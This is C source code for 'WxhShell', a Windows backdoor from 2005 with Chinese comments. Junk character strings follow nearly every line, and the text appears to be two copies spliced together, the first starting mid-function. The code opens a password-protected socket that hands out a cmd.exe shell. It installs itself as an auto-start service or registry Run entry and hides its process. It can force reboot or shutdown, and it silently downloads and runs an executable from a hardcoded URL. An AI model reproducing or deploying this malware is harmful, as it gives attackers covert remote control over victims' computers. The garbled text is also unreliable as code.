    closesocket(wsh); "-XL Y_  
    ExitThread(0); 0*V RFd4  
    } C.@R#a'  
    break;  1JgnuBX"  
    } +xRja(d6  
  // 获取shell W5}.WFu  
  case 's': { AQ. Y-'\t  
    CmdShell(wsh); `d6 {Tli  
    closesocket(wsh); ~$#DB@b  
    ExitThread(0); f[ GH  
    break; MUz.-YRt  
  } oLk>|J  
  // 退出 TJ7on.;  
  case 'x': { lE08UEk1i  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); }txHuq1Q.  
    CloseIt(wsh); K"eR 6_ k  
    break; $;7?w-.  
    } aGNt?)8WPZ  
  // 离开 *j><a  
  case 'q': { S+|aCRS  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); !6|Kpy8  
    closesocket(wsh); L':;Vv~-  
    WSACleanup(); eOy{]< l3  
    exit(1); KQ?E]}rZ  
    break; )=9\6zXS  
        } IkH]W!_+  
  } &GwBxJ  
  } R`G%eG)+  
N<Rb<p%  
  // 提示信息 /4 RKA!W  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); - ,q&Zm  
} e+bpbyV_#  
  } dTyTj|"x{  
(rt DT  
  return; Um;ReJ8z  
} sq*R)cZ  
U/yYQZ\)  
// shell模块句柄 0KnlomuH2  
int CmdShell(SOCKET sock) g6Qzkvw)  
{ :g'"*VXYB  
STARTUPINFO si; |^Try2@  
ZeroMemory(&si,sizeof(si)); C5i]n? )S  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9+@_ZI-  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; u%5B_<90V  
PROCESS_INFORMATION ProcessInfo; T#J]%IDd  
char cmdline[]="cmd"; "KOLRJ@  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); R[wy{4<y  
  return 0; x*i5g`jx  
} ;W?e@ Lgxk  
2{"Wa|o`  
// 自身启动模式 h(d<':|  
int StartFromService(void) zdyS"H}  
{ 6h}f^eJ:K,  
typedef struct : i3-7k  
{ QYVT"$=  
  DWORD ExitStatus; [sFD-2y  
  DWORD PebBaseAddress; ZNFn^iuQ  
  DWORD AffinityMask; \`{ YqOT  
  DWORD BasePriority; >~TLgq*  
  ULONG UniqueProcessId; XIJ>\ RF  
  ULONG InheritedFromUniqueProcessId; j!&g:{ e  
}   PROCESS_BASIC_INFORMATION; +;`Cm.Iu  
/QHvwaW[  
PROCNTQSIP NtQueryInformationProcess; o&rejj#  
}pPxN@X  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Kx*;!3-V$  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; W=mh*G3y  
)oG_x{  
  HANDLE             hProcess; |?V6__9  
  PROCESS_BASIC_INFORMATION pbi; T$GhE  
r4Pm i  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Cf<i"   
  if(NULL == hInst ) return 0; ~c! XQJ  
p8[Z/]p  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); U;;vNzcn  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); n0O- Bxhl  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); nXb;&n%  
t=iy40_T  
  if (!NtQueryInformationProcess) return 0; .cQwj L  
kxWf1hIz0  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); %l,p />r  
  if(!hProcess) return 0; O9=vz%  
8NPt[*  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Z?G-~3]e  
ocAoqjlT[  
  CloseHandle(hProcess); d '4c?vC  
a[xEN7L~4D  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); n:`> QY  
if(hProcess==NULL) return 0; CO0Nq/@  
:v Pzw!  
HMODULE hMod; F_zs"ex/  
char procName[255]; `t {aN|3V[  
unsigned long cbNeeded; +MGEO+  
,8c`  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 0#G&8*FMN  
A 99 .b  
  CloseHandle(hProcess); +x-n,!(  
477jS6^e&  
if(strstr(procName,"services")) return 1; // 以服务启动 ;wp)E nF  
>7@F4a  
  return 0; // 注册表启动 u <%,Ql  
} d.% Vm&3  
fJd!;ur)0  
// 主模块 !R[o6V5T  
int StartWxhshell(LPSTR lpCmdLine) 6@ET3v  
{ v#(wc +[  
  SOCKET wsl; N#6&t8;kTC  
BOOL val=TRUE; 2y,NT|jp  
  int port=0; qdL;Ii<Y0  
  struct sockaddr_in door; }Wn6r_:  
?#rDoYt/Sx  
  if(wscfg.ws_autoins) Install(); $wdIOfaH  
:a0qm.EN  
port=atoi(lpCmdLine); hCc_+/j|  
CcLP/  
if(port<=0) port=wscfg.ws_port; C*/d%eHD  
n$ axqvG  
  WSADATA data; PLw;9^<  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; p(v+j_ak  
^E{~{  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   *'QD!Tc  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); @Ej{sC!0T  
  door.sin_family = AF_INET; z./u;/:  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); #Ji&.T^U/  
  door.sin_port = htons(port); ] GJIrtS4  
SH<Nt[8C  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { #QXB2x<*  
closesocket(wsl); +K; X$kB  
return 1; teg LGp@_  
} lmp0Ye|  
m mu{K$9}I  
  if(listen(wsl,2) == INVALID_SOCKET) { *t 3fbD  
closesocket(wsl); 2J|Wbey  
return 1; _Sosw|A  
} }Rt?p8p  
  Wxhshell(wsl); =sG  C  
  WSACleanup(); B7fURL Rqr  
Qg%B<3 <  
return 0; R8W{[@  
hof:36 <  
} <FRYt-+  
bfQ+}|;  
// 以NT服务方式启动 b=wc-n A  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) rMH\;\ I|U  
{ GW]Ygf1t  
DWORD   status = 0; K`M8[ %S  
  DWORD   specificError = 0xfffffff; 2Rc#{A  
:,fs' !  
  serviceStatus.dwServiceType     = SERVICE_WIN32; *A@~!@XE4  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; (caxl^=  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 7Fh%jRHZ`  
  serviceStatus.dwWin32ExitCode     = 0; Vge9AH:op  
  serviceStatus.dwServiceSpecificExitCode = 0; jRm v~]  
  serviceStatus.dwCheckPoint       = 0; MIsjTKE  
  serviceStatus.dwWaitHint       = 0; q#xoM1  
GASDkVoij  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); $GSn#} yz  
  if (hServiceStatusHandle==0) return; fx_7X15  
VEkv JX.  
status = GetLastError(); quTM|>=_R  
  if (status!=NO_ERROR) G yvEc3|@  
{ 2!QJa=  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; XPBKQm_}  
    serviceStatus.dwCheckPoint       = 0; ?R(fxx  
    serviceStatus.dwWaitHint       = 0; yS0!#AG  
    serviceStatus.dwWin32ExitCode     = status; ^|5vmI'E  
    serviceStatus.dwServiceSpecificExitCode = specificError; h rW  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); f1rP+l-C<  
    return; QaH32(iH  
  } 5*/~) wN\U  
-v/1R1$e1  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Ovxs+mQ  
  serviceStatus.dwCheckPoint       = 0; +4Aj/$%[q  
  serviceStatus.dwWaitHint       = 0; pV9$Vg?-H  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); `+CRUdr  
} B36_ OH  
NoB)tAvw  
// 处理NT服务事件,比如:启动、停止 jL8.*pfv  
VOID WINAPI NTServiceHandler(DWORD fdwControl) az*c0Z<pl  
{ D{x'k2=  
switch(fdwControl) %c<e`P;  
{ h8&VaJ  
case SERVICE_CONTROL_STOP: }xk85*V  
  serviceStatus.dwWin32ExitCode = 0; =2F;'T\6  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; zVKbM3(^  
  serviceStatus.dwCheckPoint   = 0; *P7 H=Yf&  
  serviceStatus.dwWaitHint     = 0; h64<F3}  
  { !i,Eo-[Z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )"/.2S;  
  } v-B{7 ~=#Z  
  return; mSm:>hBd  
case SERVICE_CONTROL_PAUSE: ]0p] u d&  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; F0t-b%w,  
  break; I<L  
case SERVICE_CONTROL_CONTINUE: Y``50{7  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; xAbx.\  
  break; 1YV ;pEw3w  
case SERVICE_CONTROL_INTERROGATE: 0/5 a3-3{  
  break; ++w7jVi9  
};  ?12[8   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); aZn]8jC%  
} K~$A2b95  
hfE5[  
// 标准应用程序主函数 RL4J{4K  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) {e~#6.$:  
{ $REz {xgA=  
i/E"E7  
// 获取操作系统版本 Y)H~*-vGu  
OsIsNt=GetOsVer(); H(Pzo+k*  
GetModuleFileName(NULL,ExeFile,MAX_PATH);  `fMdO  
aO)Cq5  
  // 从命令行安装 @`xR1pXQ  
  if(strpbrk(lpCmdLine,"iI")) Install(); 6|:K1bI)  
#J~   
  // 下载执行文件 bWWZGl9  
if(wscfg.ws_downexe) { fm]mqO  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) tAF#kBa\y_  
  WinExec(wscfg.ws_filenam,SW_HIDE); L|ZxB7xk  
} %;/?DQU  
eocq Hwbv  
if(!OsIsNt) { ;}1O\nngR  
// 如果时win9x,隐藏进程并且设置为注册表启动 /|Z_Dy  
HideProc(); i ]x_W@h  
StartWxhshell(lpCmdLine); ;O8'vp  
} O/Cwm;&t  
else |`eHUtjH  
  if(StartFromService()) zW#P ~zS  
  // 以服务方式启动 ZZq]I  
  StartServiceCtrlDispatcher(DispatchTable); O:%s;p 5  
else !-rG1VI_S*  
  // 普通方式启动 mO<1&{qMZ  
  StartWxhshell(lpCmdLine); y/i{6P2`,D  
 B0 E`C  
return 0; c(Ws3  
} ?, B4  
K Q^CiX  
lldNIL6B%  
j/ [V<  
=========================================== C- 5QhD  
!=Scpo_  
2(I S*idq  
wtM1gYl^  
{z#!3a  
41uiW,  
" K}|zKTh:?  
ES,T[  
#include <stdio.h> w3Lr~_j  
#include <string.h> {,aX|*1Ku~  
#include <windows.h> ~(*2 :9*0  
#include <winsock2.h> \MqOHM.[  
#include <winsvc.h> Jlp nR#@  
#include <urlmon.h> Sf*1Z~P|  
V#X#rDfJZ  
#pragma comment (lib, "Ws2_32.lib") .n[;H;  
#pragma comment (lib, "urlmon.lib") \!LIqqX  
/U26IbJ  
#define MAX_USER   100 // 最大客户端连接数 )iX2r{  
#define BUF_SOCK   200 // sock buffer U}T{r%9  
#define KEY_BUFF   255 // 输入 buffer moS0y?N  
QjOO^6Fh  
#define REBOOT     0   // 重启 QL]e<2oPJ  
#define SHUTDOWN   1   // 关机 jQBL 8<  
H#Hhi<2  
#define DEF_PORT   5000 // 监听端口 iX%9$Bft<  
7f] qCZ<0V  
#define REG_LEN     16   // 注册表键长度 +[vI ocu  
#define SVC_LEN     80   // NT服务名长度 ,>!%KYD/f  
I'`90{I  
// 从dll定义API t =V| '  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 3c%_RI.  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); rMWJ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 3_bqDhVI5  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Ie4\d2tQ;  
wKU9I[]  
// wxhshell配置信息 igx~6G*  
struct WSCFG { C19}Y4r:  
  int ws_port;         // 监听端口 p0rmcP1Ln  
  char ws_passstr[REG_LEN]; // 口令 +Tt.5>N  
  int ws_autoins;       // 安装标记, 1=yes 0=no zfrNM9C  
  char ws_regname[REG_LEN]; // 注册表键名 }1 ,\ *)5  
  char ws_svcname[REG_LEN]; // 服务名 .^dtdFZ8,  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 \&_pI2X  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 po\(O8#5U  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2cEvsvw>  
int ws_downexe;       // 下载执行标记, 1=yes 0=no {8I,uQO  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" S=}1k,I  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 _?> x{![  
 8 X Qo  
}; j"hNkCF  
\5|MW)x  
// default Wxhshell configuration 5Q;Q  
struct WSCFG wscfg={DEF_PORT, =(+]ee!Ti  
    "xuhuanlingzhe", 8Kw, 1O:  
    1, !\VzX  
    "Wxhshell", WEYZ(a|  
    "Wxhshell", ]"/SU6#4:  
            "WxhShell Service", E+ctiVL  
    "Wrsky Windows CmdShell Service", 8eVy*h2:=  
    "Please Input Your Password: ", gky+.EP.  
  1, _h+7 KK  
  "http://www.wrsky.com/wxhshell.exe", ,eGguNA9  
  "Wxhshell.exe" GKc?  
    }; 7KesfH?  
u*f`\vs  
// 消息定义模块 /W GD7\G'8  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; q68CU~i*  
char *msg_ws_prompt="\n\r? for help\n\r#>"; JC0#pU;  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Z`_x|cU?J  
char *msg_ws_ext="\n\rExit."; Lk)I;;  
char *msg_ws_end="\n\rQuit."; C$p012D1  
char *msg_ws_boot="\n\rReboot..."; L;lu)|b"  
char *msg_ws_poff="\n\rShutdown..."; i?ZVVE=r  
char *msg_ws_down="\n\rSave to "; !2Gua1z!CJ  
D]o=I1O?  
char *msg_ws_err="\n\rErr!"; 6f2?)jOW^N  
char *msg_ws_ok="\n\rOK!"; et2;{Tb,5  
X%mga~fB  
char ExeFile[MAX_PATH]; %~I&T". iC  
int nUser = 0; |8pSMgN  
HANDLE handles[MAX_USER]; denxcDFu/~  
int OsIsNt; {#st>%i  
jzJQ/ZFS  
SERVICE_STATUS       serviceStatus; Gphy8~eS  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; n }b{u@$  
XV/7K "  
// 函数声明 _aYhW{wW  
int Install(void); #W6 6`{>  
int Uninstall(void); uH?dy55 Y  
int DownloadFile(char *sURL, SOCKET wsh); idB1%?<  
int Boot(int flag); oi m7=I0  
void HideProc(void); -:95ypi  
int GetOsVer(void); j!@T@ 8J  
int Wxhshell(SOCKET wsl); ~/X8Hy!-  
void TalkWithClient(void *cs); vf zC2  
int CmdShell(SOCKET sock); =;+gge!?bB  
int StartFromService(void); O|S,="h"}  
int StartWxhshell(LPSTR lpCmdLine); L(bDk'zi  
v4Wq0>o  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); _CPj] m{  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); cRH(@b Xr  
wo+`WnDh  
// 数据结构和表定义 z . Z  
SERVICE_TABLE_ENTRY DispatchTable[] = Mq#m;v$E  
{ @  R[K8  
{wscfg.ws_svcname, NTServiceMain}, `*cqT  
{NULL, NULL} j85B{Mab&  
}; FShUw+y  
A@Q6}ESD  
// 自我安装 Td,d9M  
int Install(void) 4qQE9f xdY  
{ "b402"&  
  char svExeFile[MAX_PATH]; +.&P$`;TZj  
  HKEY key; ?%`Ph ?BZl  
  strcpy(svExeFile,ExeFile); V@]SKbK}wN  
GMg! 2CIU  
// 如果是win9x系统,修改注册表设为自启动 3$xpZm60  
if(!OsIsNt) { ~r?tFE* +  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { KTt+}-vP^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !zt>& t  
  RegCloseKey(key); `-%dHvB^R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { JN:L%If  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^\g.iuE  
  RegCloseKey(key); H#7=s{u  
  return 0; 5Q <vS"g  
    } *= O]^|]2  
  } 9+MW13?  
} t #Kucde  
else { KB^8Z@(+  
V,=5}qozQ  
// 如果是NT以上系统,安装为系统服务 XlD=<$Nk7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); gxmo 1  
if (schSCManager!=0) t{ yj`Vg  
{ 4lR+nmAZ  
  SC_HANDLE schService = CreateService .71ZeLv*  
  ( gaQ E'qp>  
  schSCManager, W4$aX5ow$  
  wscfg.ws_svcname,  S!#5  
  wscfg.ws_svcdisp, 4i.&geX A.  
  SERVICE_ALL_ACCESS, @54$IhhT~  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , x&^Xgi?  
  SERVICE_AUTO_START, za}Kd^KeB  
  SERVICE_ERROR_NORMAL, V )Oot|  
  svExeFile, Y- Q)sv  
  NULL, (&NLLrsio  
  NULL, k~so+k&=b  
  NULL, ,tQN L\t  
  NULL, Y@:l!4DI  
  NULL _f8H%Kgk;  
  ); MM]0}65KG  
  if (schService!=0) t\LE\[XM>  
  { 50dN~(;p  
  CloseServiceHandle(schService); )b (+=  
  CloseServiceHandle(schSCManager); \BH?GMoP  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); W!T[ ^+  
  strcat(svExeFile,wscfg.ws_svcname); ob8}v*s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { r>! @Z2%s  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 9(qoME}>=  
  RegCloseKey(key); ftcLP  
  return 0; q+4dHS)x  
    } 5x|$q kI  
  } p#Po?  
  CloseServiceHandle(schSCManager); Q=d:Yz":S  
} eaNfCXHDN  
} wEl7mg !  
-W.-m2:1  
return 1; 3 ^x&G?)  
} ern\QAhXX  
jl}!UG  
// 自我卸载 Xs|d#WbX  
int Uninstall(void) *;McX  
{ n^$Q^[:Z  
  HKEY key; 0[fBP\H"Wr  
@`+\v mfD  
if(!OsIsNt) { ^7ID |uMr  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { shL_{}  
  RegDeleteValue(key,wscfg.ws_regname); [qV/&t|O*h  
  RegCloseKey(key); M:(.aEe  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Nt_sV7zzb  
  RegDeleteValue(key,wscfg.ws_regname); c$)>$&([  
  RegCloseKey(key); !( +M  
  return 0; ]mi\Y"RO  
  } cAGM|%  
} bf=\ED^  
} hrD2 -S  
else { ctHQZ#.[(  
o3\^9-jmp  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); f3n^Sw&Q(Q  
if (schSCManager!=0) ?./fVoA]V  
{ 1u5^a^O(|  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ]K8G}|Wy6  
  if (schService!=0) IY6Qd4157  
  { (w2lVL&   
  if(DeleteService(schService)!=0) { ^tSwAanP\  
  CloseServiceHandle(schService); h?;03>6A&]  
  CloseServiceHandle(schSCManager); A@?-"=h}  
  return 0; x4>"m(&%  
  } -6WSYpHV  
  CloseServiceHandle(schService); AxH`4=3<  
  } BMQ4i&kF|  
  CloseServiceHandle(schSCManager); 6AdUlPM  
} x5xMr.vm  
} Pzd!"Gl9  
rNicg]:\x  
return 1; ">_|!B&wb^  
} =`>ei  
6:8Nz   
// 从指定url下载文件 nj00g>:>  
int DownloadFile(char *sURL, SOCKET wsh) etX(~"gG_  
{ \p}GW  
  HRESULT hr; +:jv )4^O  
char seps[]= "/"; 6Y6t.j0vN.  
char *token; Y1>OhHuN  
char *file; RTbV!I  
char myURL[MAX_PATH]; rx;;|eb,  
char myFILE[MAX_PATH]; AqQ5L>:Gq  
9bRUN<  
strcpy(myURL,sURL); GutiqVP:B  
  token=strtok(myURL,seps); ;5$ GJu(  
  while(token!=NULL) nLwfPj  
  { vg3iT }  
    file=token; hT_Q_1,  
  token=strtok(NULL,seps); nO'C2)bBSG  
  } *' es(]W  
q9VBK(,X  
GetCurrentDirectory(MAX_PATH,myFILE); :/6aBM?  
strcat(myFILE, "\\"); v8'XchJ  
strcat(myFILE, file); .}eM"Kv  
  send(wsh,myFILE,strlen(myFILE),0); |{-?OOKj  
send(wsh,"...",3,0); ^x/D8 M  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); })kx#_o]'d  
  if(hr==S_OK) 1ljcbD)T;  
return 0; _-#o[>2[  
else x $[_Hix  
return 1; ;.xKVH/@  
{*g{9`   
} ">h$(WCK  
0*kS\R=P  
// 系统电源模块 `'P&={p8  
int Boot(int flag) b{ A/M#=  
{ -$#2?/uqC  
  HANDLE hToken; 4bdCbI  
  TOKEN_PRIVILEGES tkp; J(~1mIJjC  
z[Qe86L  
  if(OsIsNt) { 65U\;Ew  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); khT[  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 2*cc26o  
    tkp.PrivilegeCount = 1; #u+qV!4  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Y=_*Ai  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); pmurG  
if(flag==REBOOT) { 2h]CZD4  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) [4bE"u  
  return 0; W?!rqo2SP  
} ,CPAS}kS  
else { ez%:>r4  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) mea} 9]c  
  return 0; @x A^F%(  
} :yi} CM4  
  } Q3$DX, 8?  
  else { Hd7Vp:KM  
if(flag==REBOOT) { v+trHdSBYE  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) cUd>ah v  
  return 0; 8'qlg|{!~  
} j"pyK@v2B  
else { 5! +{JTXa  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) .V}bfd[k$  
  return 0; =;Co0Q`  
} XhWo~zh"  
} lk81IhI  
\Nf#{  
return 1; r58<A'#  
} 3m-g-  
kz("LI]  
// win9x进程隐藏模块 pXBh^  
void HideProc(void) agruS'c g  
{ +R;LHRS%  
*:un+k  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); (~5]1S}F  
  if ( hKernel != NULL ) /F|VYl^_  
  { Slv:CM M  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `)KGajB  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); MF*4E9Ue.  
    FreeLibrary(hKernel); L\bc R  
  } kSCpr0c  
"H@I~X=  
return; h#)\K| qs  
} B`3z(a92S  
M0)0~#?.D  
// 获取操作系统版本 c(b`eUOO  
int GetOsVer(void) r~oUln<[  
{ -ULgVGYKK  
  OSVERSIONINFO winfo; ![vy{U.:`  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); g3Hi5[-H  
  GetVersionEx(&winfo); W >}T$a}\  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) g`.H)36  
  return 1; ~ oq.yn/1  
  else >zw@!1{1  
  return 0; hPGDN\#LD  
} " s_S!;w@  
Z0'LD<  
// 客户端句柄模块 mF4OLG3L0  
int Wxhshell(SOCKET wsl) )$a6l8  
{ EKN<KnU%  
  SOCKET wsh; K&gE4;>  
  struct sockaddr_in client; $83Qd  
  DWORD myID; /P46k4M1U  
,VUOsNN4\  
  while(nUser<MAX_USER) ux6)K= ]  
{ -*ZQ=nomN  
  int nSize=sizeof(client); xdaq` ^Bbt  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); d|~'#:y@  
  if(wsh==INVALID_SOCKET) return 1; @;{ZnRv14  
t.O~RE  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 7 TM-uA$  
if(handles[nUser]==0) k$#1T +(G  
  closesocket(wsh); 5 /oW/2"  
else #u\~AO?h  
  nUser++; z-"P raP  
  } S+mBVk"-~S  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); I1dOMu9  
d>#X+;-k  
  return 0; g1y@z8Z{  
} O ]-8 %  
yiH;fK+x  
// 关闭 socket 4"iI3y~Gw  
void CloseIt(SOCKET wsh) K)Z~ iBRM  
{ At[SkG}b  
closesocket(wsh); 9oP  
nUser--; "qZTgCOY2  
ExitThread(0); FLkZZ\  
} I.~=\%Z {  
,qV7$u  
// 客户端请求句柄 loBW#>  
void TalkWithClient(void *cs) )u]=^  
{ ]+w 27!  
jG}nOI  
  SOCKET wsh=(SOCKET)cs; %X%f0J  
  char pwd[SVC_LEN]; )7P>Hj  
  char cmd[KEY_BUFF]; *g:Dg I 2  
char chr[1]; WHLTJ]OB  
int i,j; d#ab"&$bv  
"Z&_*F.[O  
  while (nUser < MAX_USER) { [{& OcEf  
>>y\idg&:  
if(wscfg.ws_passstr) { ]z=dRq  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); B(eiRr3  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); T0b/txS  
  //ZeroMemory(pwd,KEY_BUFF); R@>^t4#_Q0  
      i=0; JLu$UR4  
  while(i<SVC_LEN) { !Bg^-F:N  
E\9HZ;}G  
  // 设置超时 5UK}AkEe&x  
  fd_set FdRead; N693eN!  
  struct timeval TimeOut; J5Q.v;  
  FD_ZERO(&FdRead); 5s4x%L (~}  
  FD_SET(wsh,&FdRead); X_rv}  
  TimeOut.tv_sec=8; eE\T,u5:  
  TimeOut.tv_usec=0; KMl3`+i  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ]S@DVXH  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); t)O]0) s  
'b>3:&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3{ea~G)[9  
  pwd=chr[0]; I-kK^_0mV<  
  if(chr[0]==0xd || chr[0]==0xa) { fti0Tz'  
  pwd=0; _ KyhX|  
  break; Ar_Yl|a  
  } p-!/p#  
  i++; )lUocm  
    } @|OGxQoC  
! 8Ro5),  
  // 如果是非法用户,关闭 socket q 4Ok$~"I  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); "s`#` '  
} *kj+6`:CPs  
:r:x|[3.  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); C&EA@U5X^  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); AnZy o a  
`J7@G]X;2  
while(1) { *rV{(%\m  
v!n|X7  
  ZeroMemory(cmd,KEY_BUFF); N];K  
p"*xye x  
      // 自动支持客户端 telnet标准   cb. -AlqQ  
  j=0; 1n.F`%YG  
  while(j<KEY_BUFF) { &,,:pL[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); n-dC!t   
  cmd[j]=chr[0]; Z`%^?My  
  if(chr[0]==0xa || chr[0]==0xd) { _tQM<~Y]u\  
  cmd[j]=0;  2q9$5   
  break; CSNz8 y  
  } -xyY6bxL  
  j++; ybIqn0&[  
    } Udjn.D  
jG#e% `'  
  // 下载文件 gS|6,A9  
  if(strstr(cmd,"http://")) { rTST_$"_6  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 01]W@ \(  
  if(DownloadFile(cmd,wsh)) Y%(8'Ch  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q5 o0!w  
  else YCdtf7P=q  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #nj;F'O](  
  } $g,v]MW  
  else { md/h\o&  
5+(Cp3  
    switch(cmd[0]) { Tj6Czq=*%T  
  25W #mh,'  
  // 帮助 OU?.}qc<wE  
  case '?': { UdpuQzV<4`  
